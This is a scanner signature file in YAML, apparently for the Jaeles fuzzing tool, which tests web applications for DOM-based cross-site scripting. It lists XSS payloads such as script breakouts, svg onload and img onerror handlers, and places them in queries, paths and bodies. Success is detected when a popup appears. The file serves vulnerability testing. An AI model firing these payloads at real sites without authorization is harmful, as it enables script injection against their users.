forked from ghsec/ghsec-jaeles-signatures
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathDom-xss.yaml
48 lines (43 loc) · 1.16 KB
/
Dom-xss.yaml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
# info to search signature
id: fuzz-DOM-XSS
type: fuzz
info:
name: DOM Based XSS
risk: High
author: "@GochaOqradze"
# origin: gonna come from Burp
variables:
- prefix : |
#
payloads:
- javascript:(prompt)(1)
- \'(prompt)(1)-\'
- \"-(prompt)(1)-\"
- \'}(prompt)(1);{\'
- \"}(prompt)(1)%0A{\"
- (prompt)(1)//
- \';-(prompt)(1)//
- \\'-(prompt)(1)//
- \\\"-(prompt)(1)//
- \";-(prompt)(1)//
- \*/;(prompt)(1);/*
- \'autofocus/onfocus=(prompt)(1)//
- \"autofocus/onfocus=(prompt)(1)//
- </script><svg/onload=(prompt)()>
- <img src=1 onerror=(prompt)(1)>
- /\"><svg/onload=(prompt)(1)>
- <something:script xmlns:something=\"http://www.w3.org/1999/xhtml\">alert(1)</something:script>
requests:
#- method: GET
- engine: chrome
redirect: true
generators:
#Change exist content type or adding new one
#- Query("[[.original]]{{.payload}}")
- Query("{{.payload}}")
- Path("[[.original]]{{.payload}}")
- Path("[[.original]]{{.prefix}}{{.payload}}", "last")
- Body ("{{.payload}}", "*")
detections:
- >-
HasPopUp()